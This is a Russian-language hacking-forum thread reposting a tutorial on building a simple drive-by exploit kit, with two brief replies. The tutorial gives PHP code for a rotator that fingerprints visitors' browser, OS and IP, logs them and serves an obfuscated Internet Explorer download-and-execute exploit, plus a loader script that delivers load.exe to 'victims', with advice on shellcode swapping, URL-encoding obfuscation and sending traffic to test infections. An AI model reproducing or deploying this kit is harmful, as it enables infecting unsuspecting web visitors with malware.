![]() |
статья не моя старенькая может кому будет интересно для изучения. 1. Intro. Что такое эксплоит. Эксплоит (exploit — использовать) - фрагмент программного кода, который, используя возможности предоставляемые ошибкой, отказом или уязвимостью, ведет к повышению привелегий, отказу в обслуживании или выполнению произвольного кода. Есть разные типы эксплоитов: local, remote, dos и тп, мы же будем использовать remote-эксплоиты. Выбирать мы будем эксплоиты по типу remote\download and execution file\IE 6/7...То есть эксплоиты, которые позволяют через определенную уязвимость браузеров Internet explorer 6 и 7 загрузить и выполнить наш файл в системе. Что такое связка-эксплоитов. Связка эксплоитов - набор эксплоитов, выдающихся ротатором. Задача ротатора - определить всевозможное ПО на машине жертвы и подобрать подходящий эксплоит. Стандарнтое "строение" связки: Ротатор. Эксплоиты. Загружаемый файл. Статистика. Админ-панель. Наиболее "популярные" паблик(общедоступные, доступные простым смертным) это Ice-Pack, Armitage[beta], G-pack и тп. Почему мы будем выберать эксплоиты под IE? - Т.к. мы будем писать простейшую связку-эксплоитов, мы не будем рассматривать примеры более навороченных связок, эксплоиты под различные ОСи, браузеры, явамашины, сторонний софт типа Adobe\djvu-reader'oв\etc...После почтения статьи, вам не составит труда добавить другие эксплоиты и тд. Наверняка у вас завалялсо какой-нибудь эксп, и вы в нем видите немного непонятные строки, типа такого: Code: <pre class="alt2" dir="ltr" style=" margin: 0px; padding: 6px; border: 1px solid rgb(0, 0, 0); width: 640px; height: 34px; text-align: left; overflow: auto; background: rgb(37, 37, 37) none repeat scroll 0% 0%; border-radius: 5px; font-size: 11px; text-shadow: none;">%uC933%uE983%uD9A9%uD9EE%u2474%u5BF4%u7381% u5713</pre> Выше приведен кусок шелл-кода(shellcode). Что такое шеллкоды. Шелл-код - это двоичный исполняемый код, который обычно передаёт управление консоли, например '/bin/sh' Unix shell, command.com в MS-DOS и cmd.exe в операционных системах Microsoft Windows. Код оболочки может быть использован как полезная нагрузка эксплойта, обеспечивая взломщику доступ к командной оболочке (англ. shell) в компьютерной системе(взято с вики). Мы же будем использовать шеллкод в следующей схеме: загрузка эксплоита - при успешном "пробиве" передается управление шеллкоду - шеллкод загружает и исполняет наш исходный файл. Теперь, когда мы разобрались с используемыми понятиями, можно переходить к следующему пункту... 2. С чего начинаем. Для начала, составим схему нашей будущей мег0-связки) Ротатор - скрипт будет определять ОСь, Браузер, Версию браузера, Уникальность посетителя, Айпи адрес, записывать полученные данные в бд и выдавать подходящий эксплоит. Назовем файл index.php Файлы бд. - Обычно в связках эксплоитов используют mysql базы данных, но тк мы пишем простую связку, мы обойдемся и без них. Все будем писать в лог-файлы. Файл\файлы эксплоитов - используемые эксплоиты, которые будет выдовать ротатор - файлы, содержащие наш вредоносный js-код. Назовем файл spl.php Скрипт выдачи файла - так как нам нужно вести статистику загрузок файла, мы будем использовать скрипт, который будет писать в лог если к файлу было обращение, ну и выдовать этот файл.Назовем файл load.php. Разумеется такой способ сбора статистики "пробитых" машин не очень то и верен, мы будем использовать 2 вида подсчета загрузок: через скрипт и через наш файл. Наш файл - exe-файл, который мы будем грузить "жертвам" ^^ Назовем файл load.exe Админ-панель - какая же связка без 0дминки? Мы сделаем себе простенькую админку, чтоб нам было удобно просматривать статистику и результаты...управлять статистикой и тп...Назовем файл admin.php Определились со схемой, можно приступать к заготовке материалов=) Подбираем эксплоиты...Где их взять? Рекомендую искать свежие и не только экспы на сайтах: http://www.securitylab.ru и http://milw0rm.com Требования к эксплоитам указанны в п.1, но если вы пропустили и вам лень возвращаться, напомню: remote\download and execution\IE 6-7 ... Много не набирайте, мы же только учимся - 3-6 хватит... Готово? - двигаемсо дальше... Что там потребуется: Мозг. Прямые руки. Текстовый редактор. То, на чем фсе будем тестить, если вам не фпадло, можете каждый раз заливать фсе на хостинг с поддержкой пхп, но йа рекомендую поставить себе простенькую и легкую программу USBWebServer - программа содержит в себе апач\php\mysql и не требует установки, вес запакованного дистра - 12-14мб...так что проблем с программой не возникнет. Когда у нас фсе готово, можно приступать к подготовке эксплоитов. Открываем эксп в тектовом редакторе, ищем в js-коде переменную типа var shellcode\scode в таком духе, нашли? теперь нам нужно заменить на наш шеллкод...где взять шеллкод? - здесь несколько вариантов, скачать генератор шеллкодов, найти не проблема, скачать уже готовый шелл-код, подыскать материал по написанию шеллкодов и написать самому...выберать вам... Шеллкоду мы будем указывать файл load.php ... Теперь, когда шеллкод прикручен к сплоиенту, спрячим немного наш сплоит... Выделяем оставшуюся часть кода, закидываем в url-encoder - найти не проблема, есть онлайн\ехе"шные\етц... Теперь у нас получилось что-то на подобии следующего кода... Code: <pre class="alt2" dir="ltr" style=" margin: 0px; padding: 6px; border: 1px solid rgb(0, 0, 0); width: 640px; height: 34px; text-align: left; overflow: auto; background: rgb(37, 37, 37) none repeat scroll 0% 0%; border-radius: 5px; font-size: 11px; text-shadow: none;">%58%59%59%59%59%59%59</pre> Теперь заменим этот код на следующий: Code: <pre class="alt2" dir="ltr" style=" margin: 0px; padding: 6px; border: 1px solid rgb(0, 0, 0); width: 640px; height: 34px; text-align: left; overflow: auto; background: rgb(37, 37, 37) none repeat scroll 0% 0%; border-radius: 5px; font-size: 11px; text-shadow: none;">document.write(unescape('%58%59%59%59%59%59 %59));</pre> В сумме у нас получается примерно следующий эксплоит: Code: <pre class="alt2" dir="ltr" style=" margin: 0px; padding: 6px; border: 1px solid rgb(0, 0, 0); width: 640px; height: 82px; text-align: left; overflow: auto; background: rgb(37, 37, 37) none repeat scroll 0% 0%; border-radius: 5px; font-size: 11px; text-shadow: none;"><script> var shellcode = шеллкод; document.write(unescape('%58%59%59%59%59%59%59')); </script></pre> Эксплоит готов! Можно открывать баночку пива) Переходим к следующей части нашего мег0-пака - Ротатор. Для начала, нам нужно определить версию браузера и оси пользователя а так же его айпи адрес... Браузер и ось мы будем мы все определять за счет строковых функций. Code: <pre class="alt2" dir="ltr" style=" margin: 0px; padding: 6px; border: 1px solid rgb(0, 0, 0); width: 640px; height: 498px; text-align: left; overflow: auto; background: rgb(37, 37, 37) none repeat scroll 0% 0%; border-radius: 5px; font-size: 11px; text-shadow: none;">$ip = $_SERVER['REMOTE_ADDR']; //IP-адрес /*Определяем браузер*/ $user_agent = getenv("HTTP_USER_AGENT"); //Получаем user-agent'a передаваемого браузером. if (eregi("(opera) ([0-9]{1,2}.[0-9]{1,3}){0,1}", $user_agent, $vers) or eregi("(opera/)([0-9]{1,2}.[0-9]{1,3}){0,1}", $user_agent, $vers)) /*ищем в нем название браузера и версию, если найден, присваиваем переменной значения и таг же везде в следующих строках*/ {$typs= "Opera"; $browser = "Opera" . " " . $vers[2];} elseif (eregi("(konqueror)/([0-9]{1,2}.[0-9]{1,3})", $user_agent, $vers)) {$typs= "Konqueror"; $browser = "Konqueror" . " " . $vers[2];} elseif (eregi("(lynx)/([0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2})", $user_agent, $vers)) {$typs= "Lynx"; $browser = "Lynx" . " " . $vers[2];} elseif (eregi("(links) \\(([0-9]{1,2}.[0-9]{1,3})", $user_agent, $vers)) {$typs= "Links"; $browser = "Links" . " " . $vers[2];} elseif (eregi("(msie) ([0-9]{1,2}.[0-9]{1,3})", $user_agent, $vers)) {$typs= "Internet Explorer"; $browser = "Internet Explorer" . " " . $vers[2];} elseif (eregi("(netscape6)/(6.[0-9]{1,3})", $user_agent, $vers)) {$typs= "Netscape"; $browser = "Netscape" . " " . $vers[2];} elseif (eregi("(firefox)/([0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2})", $user_agent, $vers) or eregi("(firefox)/([0-9]{1,2}.[0-9]{1,2})", $user_agent, $vers)) {$typs= "Firefox"; $browser = "Firefox" . " " . $vers[2];} elseif (eregi("(mozilla)/([0-9]{1,2}.[0-9]{1,3})", $user_agent, $vers)) {$typs= "Mozilla"; $browser = "Mozilla" . " " . $vers[2];} elseif (eregi("(flock)", $user_agent)) {$browser ="Flock";} elseif (eregi("(maxthon)", $user_agent)) {$browser ="Maxthon";} elseif (eregi("(chrome)", $user_agent)) {$browser ="Chrome";} else {$typs= "Other"; $browser = "Other";}</pre> Айпи и браузер определили? Теперь определим ось Code: <pre class="alt2" dir="ltr" style=" margin: 0px; padding: 6px; border: 1px solid rgb(0, 0, 0); width: 640px; height: 210px; text-align: left; overflow: auto; background: rgb(37, 37, 37) none repeat scroll 0% 0%; border-radius: 5px; font-size: 11px; text-shadow: none;">if (strstr($user_agent, "Windows 95")) $system = "Windows 95"; /*везде ищем в передаваемом user-agent'e ось, передаем значение переменной, если не найдено - даем назначение переменной ака имя браузера - other*/ elseif (strstr($user_agent, "Windows NT 4")) $system = "Windows NT 4"; elseif (strstr($user_agent, "Windows 98")) $system = "Windows 98"; elseif (strstr($user_agent, "Win 9x 4.9")) $system = "Windows ME"; elseif (strstr($user_agent, "Windows NT 5.0")) $system = "Windows 2000"; elseif (strstr($user_agent, "Windows NT 5.1")) $system = "Windows XP"; elseif (strstr($user_agent, "Windows NT 5.2")) $system = "Windows 2003"; elseif (strstr($user_agent, "Windows NT 6.0")) $system = "Windows Vista"; elseif (strstr($user_agent, "WOW64")) $system = "Windows Vista x64"; elseif (strstr($user_agent, "Linux")) $system = "Linux"; elseif (strstr($user_agent, "Mac OS")) $system = "Mac OS"; else $system = "Other";</pre> Едем дальше, теперь определим уникальность посетителя, запишем в лог его номер... Code: <pre class="alt2" dir="ltr" style=" margin: 0px; padding: 6px; border: 1px solid rgb(0, 0, 0); width: 640px; height: 386px; text-align: left; overflow: auto; background: rgb(37, 37, 37) none repeat scroll 0% 0%; border-radius: 5px; font-size: 11px; text-shadow: none;">/*Здесь мы смотрим есть ли айпи в нашей бд, если нету - к кол-ву уников прибавляется еденица, айпи пишется в лог...*/ if(!file_exists("./unic.txt")) { $fp = @fopen ("./unic.txt", "w"); fputs($fp,"1\n".$ip."\n"); fclose ($fp); } $f = true; $l = @file("./unic.txt"); for ($i = 1; $i < count($l); $i++) { if ($ip == trim($l[$i])) { $f = false; } } if($f){ $l[0]+=1; $fp = @fopen ("./unic.txt", "w"); fputs($fp,$l[0]."\n"); for ($i = 1;$i < count($l);$i++)fputs($fp,$l[$i]); fputs ($fp, $ip."\n"); fclose ($fp);</pre> Практически все, теперь запишем в лог браузер\ось\айпи и тп... Т.к мы не будем говорить о дизайне админки, таблицах в ней и тп, я следаю чтоб в лог писалось все довольно примитивно, и потом просто инклудилось в нашу админку: Code: <pre class="alt2" dir="ltr" style=" margin: 0px; padding: 6px; border: 1px solid rgb(0, 0, 0); width: 640px; height: 98px; text-align: left; overflow: auto; background: rgb(37, 37, 37) none repeat scroll 0% 0%; border-radius: 5px; font-size: 11px; text-shadow: none;">/*указываем переменным имя файла и каг его открыть, пишем туда полученные данные, если юзер уникален.*/ $log = "stats.txt"; $fp = fopen($log,"a+"); fwrite($fp,"$system:$browser:$ip<br>"); fclose($fp);</pre> Пачти готово, теперь осталось дописать код выдачи эксплоита, код примитивный, расчитан только на 3 вида IE: версия < 6 , 6-версия и 7 версия ... Под оси и тп мы определять сплоиенты не будем, тк фспомните - пишем мы простейшую связку. Code: <pre class="alt2" dir="ltr" style=" margin: 0px; padding: 6px; border: 1px solid rgb(0, 0, 0); width: 640px; height: 354px; text-align: left; overflow: auto; background: rgb(37, 37, 37) none repeat scroll 0% 0%; border-radius: 5px; font-size: 11px; text-shadow: none;">/*если браузер ИЕ - смотрим версию, выдаем под нее файл, в коде указан одинаковый файл, но изменить не проблема*/ if($browser == "Internet Explorer") //Если браузер ослик, продолжаем... { if($vers < "6") //если версия ниже шестой { include "./spl.php"; } //инклудим сплоит под весии ниже 6 if($vers == "6") //если шестой { include "./spl.php"; } //инклудим сплоит под 6 if($vers == "7") //если седьмой { include "./spl.php"; } //инклудим сплоит под 7 ... } else //если у нас не ослик, а любой другой браузер { header("Location: about:blank"); //просто редиректим на about:blank } } /*здесь мы пишем номер нашего уника*/ $a = trim($l[0]); $we = fopen("./uniq.txt","w"); fwrite($we,$a); fclose($we); ?></pre> Все, наш файл index.php готов! Открываем еще одну баночку пива, едем дальше... Наш файл load.php ... Тут все достаточно просто: Code: <pre class="alt2" dir="ltr" style=" margin: 0px; padding: 6px; border: 1px solid rgb(0, 0, 0); width: 640px; height: 466px; text-align: left; overflow: auto; background: rgb(37, 37, 37) none repeat scroll 0% 0%; border-radius: 5px; font-size: 11px; text-shadow: none;">/**Открываем файло loads.txt пишем в него номер уника - для подсчета загрузок*/ <?php $load = "loads.txt"; $fop = @fopen($load,"r"); if ($fop) { $counter = fgets($fop,10); fclose($fop); } else { $counter = 0; } $counter++; $fop = @fopen($hostfile,"w"); if ($fop) { $counter = fputs($fop,$counter); fclose($fop); } /*посчитали? - теперь выдаем файл load.exe*/ $fo=fopen("load.exe", "rb"); while(!feof($fo)) { $a=fgets($fo); echo $a; } ?></pre> Усе, осталось немного... Основа готова, теперь можно приступать к написанию админки...тут дело уже творческое, кому-то она просто-напросто не нужна, кому-то нужна, но без лишних наворотов, а кто-то хочет флеш-админку с клевым дизом и кучей функций...так что выберать вам...Когда админка будет готова, главное указать в ней следующее: Трафик: считывать кол-во будем из файла uniq.txt Загрузки: считывать кол-во будем из файла loads.txt Статистика: считывать будем из файла stats.txt Если вы все делали слово в слово каг написано выше, у вас дириктория со связкой должна содержать следующие файлы: index.php load.php loads.txt stats.txt unic.txt uniq.txt admin.php файлы админки. Теперь нам нужно все проверить, ставим на локалхост нашу новую связочку, проверяем чтоб небыло ошибок, Напомню про права, на лог-файлы и load.exe - ставим права 777. ... готово? - Атлична, Теперь закинем наш файл load.exe в папку со фсем остальным, поставим на хостинг и пустим немного траффа для проверки подобранных вами сплоитов на пробив... Разумеется, что от первой, написанной собственными руками связки, кульного пробива не ждите =) 3. End. Подведем небольшой итог: Теперь вы знаете как написать простую связку эксплоитов, нету 2ух баночек пива, вы узнали для сибя что-то новое и вам было не особо скучно фсе это читать...надеюсь...) Немного полезного материала: http://google.ru - универсальная поисковая система. http://milw0rm.com - хранилище эксплоитов. http://www.securitylab.ru - хранилище эксплоитов, обзоры багов и тд. http://ru.wikipedia.org/wiki/User_Agent - подробнее про юзер-агент. http://www.paulschou.com/tools/xlate - онлайн Base64, HEX, Binary, и т. д. кодер/декодер http://forum.xaknet.ru/thread2402.html - немного теории о экспах ... |
для 2008 не плоха |
http://milw0rm.com - хранилище эксплоитов. http://www.securitylab.ru - хранилище эксплоитов, обзоры багов и тд. Серьезно? milw0rm.com - сайт который умер и securitylab.ru, создатель которого писал книгу про хакинг где расказывал : "Выкрутим из мышки шарик, вот мы и взломали Пк" </br></br> |
All times are GMT. The time now is 07:50 PM. |
Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2025, vBulletin Solutions, Inc.